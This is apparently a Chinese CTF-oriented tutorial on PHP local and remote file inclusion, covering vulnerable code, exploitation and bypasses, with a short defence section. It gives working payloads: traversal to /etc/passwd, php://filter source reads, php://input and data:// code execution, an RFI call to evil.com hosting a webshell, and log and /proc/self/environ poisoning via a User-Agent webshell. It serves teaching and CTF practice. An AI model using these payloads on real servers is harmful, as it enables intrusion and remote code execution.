文件包含漏洞深度解析:从LFI到RFI的攻防实战与CTF技巧
2026/6/30 12:30:16 网站建设 项目流程

1. 项目概述:从“包含”到“掌控”的Web安全必修课

在CTF的Web安全赛道上,文件包含漏洞(File Inclusion)绝对是一个高频且经典的考点。它不像SQL注入那样直接与数据对话,也不像XSS那样在用户眼前“炫技”,它更像是一个隐藏在代码逻辑深处的“后门”,一旦被攻击者发现并利用,就能轻易地读取敏感文件、执行任意代码,甚至直接获取服务器权限(即Getshell)。很多刚入门的朋友,面对诸如?page=about.php这样的URL参数时,可能只觉得这是网站正常的页面切换功能,却不知其背后可能潜藏着巨大的风险。我最初接触CTF时,也是在这里栽过跟头,明明感觉离flag很近了,却总在文件包含这一关卡住,那种“隔靴搔痒”的感觉至今记忆犹新。

这篇学习笔记,就是我结合多年打CTF和做安全研究的经验,为你系统梳理的“文件包含篇”通关指南。它不仅仅是一份漏洞原理说明书,更是一份从攻击者视角出发的实战手册,同时也会站在防御者的角度,告诉你如何写出更安全的代码。无论你是正在备战CTF的新手,还是希望夯实Web安全基础的开发者,相信这份融合了原理、实战、技巧与防御的深度解析,都能让你对文件包含漏洞有一个透彻的理解,真正掌握从发现、利用到防御的完整知识链。我们会从最基本的本地文件包含(LFI)聊起,逐步深入到更危险的远程文件包含(RFI),并探讨在当今复杂环境下的各种高级利用技巧与绕过姿势。

2. 漏洞核心原理:为什么“包含”会变得危险?

要理解文件包含漏洞,首先得明白在Web开发中“文件包含”机制本身是一个非常有用的功能。尤其是在使用PHP这类语言时,开发者经常需要复用页头、页脚、导航栏或公共函数库。为了避免在每个页面重复编写相同的代码,他们会使用如include()require()include_once()require_once()这样的函数。

2.1 正常的包含逻辑

设想一个简单的网站结构,它有一个主入口index.php,通过GET参数page来决定显示哪个内容页面。

// index.php 正常且安全的写法 $allowed_pages = array('home', 'about', 'contact'); $page = $_GET['page']; if (in_array($page, $allowed_pages)) { include($page . '.php'); } else { include('home.php'); // 默认页面 }

在这个例子中,程序先定义了一个白名单$allowed_pages,然后检查用户传入的page参数是否在白名单内。只有在列表里的值,才会被拼接上.php后缀后包含进来。这是一种安全的做法。

2.2 漏洞的产生:失控的输入

然而,漏洞往往源于对用户输入过于信任且缺乏有效的过滤。下面是一个典型的漏洞代码:

// index.php 存在漏洞的写法 $page = $_GET['page']; include($page . '.php');

这段代码的逻辑非常简单:直接获取用户输入的page参数,拼接.php后缀,然后包含该文件。问题出在哪里?攻击者可以完全控制$page这个变量的值。程序没有检查这个值是否合法,就盲目地将其作为文件路径的一部分。

此时,攻击者不再局限于传入homeabout这样的正常页面名。他可以尝试传入诸如../../../../etc/passwd这样的路径。经过拼接后,include()函数尝试加载的文件就变成了../../../../etc/passwd.php。由于PHP的include在找不到文件时通常会抛出警告但继续执行,而.php后缀对应的文件不存在,所以这次攻击可能失败。但关键在于,它揭示了程序包含逻辑的缺陷。

更致命的是,如果代码连后缀都不加:

// 漏洞更大的写法 $page = $_GET['page']; include($page);

那么,攻击者传入../../../etc/passwd,服务器就会直接尝试包含系统的密码文件。如果Web进程有读取权限,文件内容就会被输出到网页上,造成敏感信息泄露。这就是本地文件包含(Local File Inclusion, LFI)

2.3 漏洞升级:远程文件包含(RFI)

比LFI更危险的是远程文件包含(Remote File Inclusion, RFI)。当PHP的配置项allow_url_include设置为On时(默认是Off),includerequire等函数不仅可以包含本地文件,还可以包含远程服务器上的文件。

// 假设 allow_url_include = On $page = $_GET['page']; include($page);

攻击者可以构造这样的URL:http://vuln-site.com/index.php?page=http://evil.com/shell.txt。那么,服务器会去请求http://evil.com/shell.txt,并将其内容作为PHP代码执行。攻击者可以在shell.txt中写入一句话木马<?php system($_GET[‘cmd’]);?>,从而在目标服务器上实现远程代码执行(RCE)。

注意:现代PHP版本中,allow_url_include默认关闭,且官方强烈不建议开启。因此,纯粹的RFI漏洞在真实环境中已较少见,但在CTF老题目或特定环境中仍可能遇到。我们的重点更多会放在LFI及其各种“花式”利用上。

3. 核心利用技巧与实战拆解

理解了基本原理后,我们进入实战环节。CTF中的文件包含题 rarely 会直接让你包含/etc/passwd就拿到flag。出题人会设置各种限制和障碍,这就需要我们掌握一系列技巧来绕过。

3.1 基础LFI与目录遍历

这是最直接的利用方式,目的是读取服务器上的敏感文件。

  • 敏感文件列表

    • /etc/passwd:验证漏洞是否存在(所有用户可读)。
    • /etc/shadow:存储用户密码哈希(需root权限)。
    • \windows\system32\drivers\etc\hosts:Windows系统主机文件。
    • Web应用配置文件:如config.phpdatabase.inc.php, 可能包含数据库密码。
    • 网站源码:通过包含.php文件,有时能直接看到源码(需结合其他技巧,见下文)。
    • 日志文件:/var/log/apache2/access.log/proc/self/environ等。
  • 利用方式:使用../进行目录遍历。

    http://target.com/index.php?file=../../../../etc/passwd

    实操心得../的数量需要不断尝试。太多可能会超出根目录,太少则找不到目标文件。可以写个小脚本批量尝试不同深度。

3.2 利用PHP封装协议

PHP内置了一系列“包装器”(Wrapper),用于访问不同的输入/输出流。在文件包含中,它们成了强大的攻击武器。这是CTF文件包含题中最核心、最常考的知识点

3.2.1php://filter– 读取源码的利器

当直接包含一个.php文件时,服务器会执行它,而不是显示其源代码。php://filter可以让我们在包含文件前,先对其内容进行编码或转换,从而绕过执行,直接读取源码。

  • 读取源码

    ?file=php://filter/read=convert.base64-encode/resource=index.php

    这个Payload的意思是:使用php://filter流,应用一个read过滤器(将资源内容进行base64编码),然后读取resource参数指定的文件(index.php)。服务器会输出index.php经过base64编码后的内容,我们将其解码即可得到原始PHP源码。这是获取其他题目源码、寻找隐藏逻辑和flag的关键手段

  • 多层过滤与编码:过滤器可以链式调用。

    ?file=php://filter/read=convert.base64-encode|convert.base64-encode/resource=config.php

    这里进行了两次base64编码,有时可以绕过一些简单的过滤。

3.2.2php://input– 执行代码的通道

这个包装器允许你访问请求的原始数据(即HTTP POST请求的body)。当allow_url_include开启时,可以配合POST请求直接执行代码。

GET /index.php?file=php://input HTTP/1.1 ... (请求体Body) <?php system('ls /');?>

服务器会将POST body中的内容作为PHP代码执行。在CTF中,即使allow_url_include关闭,有时也会因为特殊配置或题目环境而可用,务必尝试。

3.2.3data://– 内联代码执行

类似于RFI,但代码直接写在URL中。同样需要allow_url_include=On

?file=data://text/plain,<?php phpinfo();?> ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpOz8+ (base64编码的<?php system(“ls”);?>)

3.3 利用日志文件包含Getshell

这是LFI漏洞利用的“经典咏流传”场景,也是从文件读取到代码执行的关键跨越。思路是:将PHP代码写入到某个服务器本地可写的文件中,然后通过文件包含漏洞去包含这个文件,使其中的代码被执行。

最常用的目标就是Web服务器的访问日志(如/var/log/apache2/access.log/var/www/logs/access_log)。每次我们访问网站,User-Agent、Referer、请求路径等信息都会被记录到日志中。如果我们能控制这些字段,并在其中注入PHP代码,再通过LFI包含这个日志文件,代码就会被执行。

实战步骤:

  1. 确认日志路径:通过LFI读取可能的配置文件(如/etc/apache2/apache2.conf)或使用暴力猜解,找到访问日志的绝对路径。
  2. 注入代码:使用Burp Suite或curl,发送一个特殊的HTTP请求,将<?php system($_GET[‘c’]);?>作为User-Agent。
    curl -A "<?php system(\$_GET['c']);?>" http://target.com/
  3. 包含日志:通过漏洞点包含访问日志文件。
    http://target.com/vuln.php?file=/var/log/apache2/access.log
  4. 执行命令:如果包含成功,页面可能会显示乱码(日志文本)。此时,通过c参数传递命令。
    http://target.com/vuln.php?file=/var/log/apache2/access.log&c=ls
    如果一切顺利,你将看到ls命令的执行结果。

注意事项:日志文件通常很大,包含可能导致页面加载缓慢或超时。注入后最好等几次正常访问再包含,确保你的恶意代码被写入日志。另外,新版本的Web服务器或安全配置可能会对日志中的特殊字符进行转义,降低此方法的成功率。

3.4 利用/proc/self/environGetshell

在Linux系统中,/proc/self/environ是一个特殊的文件,它包含了当前进程(即处理我们请求的Web服务器进程)的所有环境变量。其中有一个叫HTTP_USER_AGENT的环境变量,直接对应HTTP请求中的User-Agent头。

利用方式与日志包含高度相似:

  1. 通过LFI确认可以读取/proc/self/environ
  2. 修改User-Agent,注入PHP代码。
  3. 包含/proc/self/environ文件,触发代码执行。

优势:相比日志文件,/proc/self/environ文件通常更小,包含速度更快,且是实时反映当前进程状态的。

3.5 利用临时文件与PHP Segment

在一些CTF题目中,可能会遇到文件上传功能与文件包含漏洞的结合。即使上传点对文件后缀、内容做了严格检查,我们也可以尝试上传一个包含恶意代码的图片(在文件末尾添加PHP代码),然后利用包含漏洞去包含这个上传后的文件。如果服务器配置不当(如未禁用/tmp等临时目录的执行权限),或者存在诸如phpinfo()页面能显示临时文件名($_FILES[‘file’][‘tmp_name’])的情况,配合LFI就有可能执行代码。

这需要精准的时间竞争,因为临时文件存活时间极短,属于一种竞争条件漏洞利用,难度较高但非常巧妙。

4. 常见过滤绕过技巧实录

出题人不会让你轻易得手,他们会在代码中加入各种过滤。下面这些绕过技巧,是我在实战和CTF中积累下来的“宝贝”。

4.1 后缀拼接绕过

这是最常见的防御方式:开发者强制为输入添加后缀,如.php

$file = $_GET['file'] . '.php'; include($file);

绕过方法:

  • 利用%00空字节截断(PHP < 5.3.4):在路径后添加URL编码的空字节%00,可以截断后面的后缀。
    ?file=../../etc/passwd%00
    拼接后变成../../etc/passwd%00.php,在旧版本PHP中,%00会被认为是字符串结束符,.php被忽略。此方法在PHP 5.3.4及以上版本已被修复
  • 利用路径长度截断(PHP < 5.3):在Windows下路径长度超过256字节,Linux下超过4096字节时,可能会发生截断。可以通过填充大量./../来实现。
  • 利用?#:在URL中,?之后是查询参数,#之后是锚点。服务器在解析文件路径时可能会忽略它们之后的部分。
    ?file=../../etc/passwd?.php ?file=../../etc/passwd%23.php
    拼接后变成../../etc/passwd?.php,对于文件系统来说,?.php只是一个奇怪的文件名后缀,而?在HTTP请求中则被解释为参数分隔符,实际请求的文件可能是../../etc/passwd。这种方法成功率取决于服务器解析URL的方式。

4.2 关键字过滤绕过

代码中可能用str_replace()preg_match()等函数过滤../php://等关键字。

$file = str_replace('../', '', $_GET['file']);

绕过方法:

  • 双写绕过:如果过滤是简单的字符串替换,且只执行一次。
    ?file=....//....//etc/passwd
    经过str_replace(‘../’, ‘’, $file)后,中间的../被删掉,两边的..//又组合成了新的../
  • 编码绕过:使用URL编码、双重URL编码、UTF-8编码等。
    • ../->%2e%2e%2f->%252e%252e%252f(双重编码)
    • php://->php:%2f%2f
  • 使用非常规路径表示
    • ..\(Windows反斜杠,在Linux下有时也能被识别)。
    • ..../(某些情况下,点号数量异常也可能被解析)。

4.3 协议限制绕过

如果代码检查是否以http://https://开头,可以尝试:

  • 使用其他协议:如file://ftp://(如果允许)。
  • 利用DNS重绑定或URL跳转:使一个看似合法的域名最终指向恶意服务器(较复杂,多见于高级攻击)。

4.4 综合绕过案例

假设遇到如下过滤代码:

$file = $_GET['file']; if(preg_match('/^[a-z]+:\/\//i', $file)) { die('No remote files!'); } // 禁止远程协议 $file = str_replace(array('../', '..\\'), '', $file); // 过滤路径穿越 $file .= '.php'; // 添加后缀 include($file);

绕过思路:

  1. 目标:读取/etc/passwd
  2. 直接输入../../../etc/passwd会被过滤。
  3. 尝试双写:....//....//....//etc/passwd,过滤后变为../../../../etc/passwd,但最后会被加上.php
  4. 结合?截断:....//....//....//etc/passwd?.php。过滤后变为../../../../etc/passwd?.php,包含时可能成功。
  5. 或者,使用php://filter协议。虽然代码检查了://,但php://是PHP流协议,不是网络协议。然而,正则/^[a-z]+:\/\//i会匹配任何以字母://开头的字符串,所以php://也会被拦截。但注意,正则检查的是开头。我们可以利用文件路径+php://filter吗?不行,因为include一个不存在的路径会失败。
  6. 一个可能的突破口是:利用compress.zlib://phar://等非http开头的包装器(如果服务器环境支持)。但题目可能禁用了这些包装器。
  7. 更实际的思路:利用日志包含。构造一个包含<?php phpinfo();?>的User-Agent,然后包含日志文件。日志文件路径可能包含../,但我们可以先通过其他信息泄露(如报错)猜出Web根目录的绝对路径(如/var/www/html),然后直接使用绝对路径包含日志文件,避免使用../。例如,假设日志在/var/log/apache2/access.log,直接提交?file=/var/log/apache2/access.log,即可绕过../过滤。

这个案例说明,绕过需要结合具体过滤逻辑、服务器环境和信息收集,多角度尝试。

5. 实战解题流程与思维导图

面对一道CTF文件包含题,不应该盲目尝试Payload。建立一个系统的排查流程能极大提高效率。以下是我常用的“四步走”策略:

5.1 第一步:信息收集与漏洞探测

  1. 确定包含点:寻找pagefileloadpath等可疑参数。
  2. 测试基础LFI:尝试包含../../../../etc/passwd,看是否回显系统文件内容。
  3. 测试PHP协议:尝试php://filter/resource=index.php或带编码的版本,看能否读取源码。
  4. 观察反应:注意页面的报错信息。错误信息常常会泄露绝对路径、PHP配置等关键信息。例如,Warning: include(/var/www/html/secret/../../etc/passwd.php): failed to open stream,这就泄露了Web根目录是/var/www/html/secret/

5.2 第二步:分析过滤与限制

  1. 后缀检查:输入test,观察是否自动添加了.php.html
  2. 关键字过滤:输入../http://等,看是否被拦截或过滤。尝试双写、编码等绕过方法。
  3. 协议允许:尝试php://inputdata://,看是否允许执行代码。
  4. 读取源码这是最关键的一步!务必用php://filter读取当前脚本和其他可能相关的脚本(如index.phpadmin.phpconfig.php)的源码。真正的漏洞利用逻辑和flag位置,往往就藏在源码里。

5.3 第三步:制定利用方案

根据前两步的结果,选择攻击路径:

  • 直接读取flag:flag可能就在/flag/home/ctf/flag.txt./flag.php等常见位置。通过LFI直接读取。
  • 日志/环境变量包含:如果需要代码执行,优先尝试日志包含(access.logerror.log)和/proc/self/environ
  • 利用PHP Session:如果题目有登录功能,可以尝试将代码写入自己的Session文件(路径通常为/tmp/sess_[你的PHPSESSID]),然后包含它。
  • 利用文件上传:结合上传点,上传含恶意代码的文件,再包含它。
  • 利用php://inputdata://:如果配置允许,这是最直接的代码执行方式。

5.4 第四步:获取Flag与权限提升

  1. 执行命令:通过包含写入的Webshell或php://input执行lscatfind等命令,寻找flag文件。
  2. 绕过禁用函数:如果systemshell_exec等函数被禁用,可以尝试使用passthruexecpopenproc_open,或者用反引号`ls`。还可以尝试用PHP的ScandirGlob等函数列目录,用file_get_contents读文件。
  3. 寻找非预期解:有时flag不在文件里,而是在环境变量、数据库或内存中。仔细阅读题目描述和源码提示。

6. 防御之道:开发者视角

当我们从攻击者切换回防御者角色,该如何避免自己的代码出现文件包含漏洞呢?原则就一条:绝对不要信任任何用户输入

  1. 白名单永远优于黑名单:定义一组允许包含的文件列表(白名单),只允许包含这些文件。

    $allowed = ['home.php', 'about.php', 'news.php']; $page = $_GET['page']; if (in_array($page, $allowed)) { include('./pages/' . $page); } else { include('./pages/home.php'); }
  2. 固定目录与后缀:如果需要动态包含,应将文件限制在某个特定目录下,并强制添加固定后缀。

    $base_dir = '/var/www/html/includes/'; $file = basename($_GET['file']); // basename()防止目录遍历 $path = $base_dir . $file . '.php'; if (file_exists($path) && is_file($path)) { include($path); }
  3. 关闭危险配置:在php.ini中,确保以下配置:

    allow_url_fopen = Off allow_url_include = Off

    这将彻底杜绝RFI漏洞。

  4. 使用安全的包含函数(如果框架支持):例如,使用require_onceinclude_once避免重复包含问题,但这不是安全问题的关键。

  5. 代码审计与安全测试:定期对代码进行安全审计,并使用自动化工具或手动测试文件包含漏洞点。

文件包含漏洞的魅力在于它“四两拨千斤”的特性,一个看似无害的功能参数,可能成为整个系统沦陷的起点。在CTF中攻克它,需要的是对Web运行机制的深刻理解、丰富的经验积累和灵活的绕过思维。而在实际开发中,防范它则需要将“安全第一”的理念刻入骨髓,对每一处用户输入都保持最高的警惕。希望这篇笔记能成为你Web安全学习路上的一块坚实垫脚石,下次再遇到?file=时,你眼中看到的将不再是一个简单的参数,而是一个需要仔细审视的安全边界。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询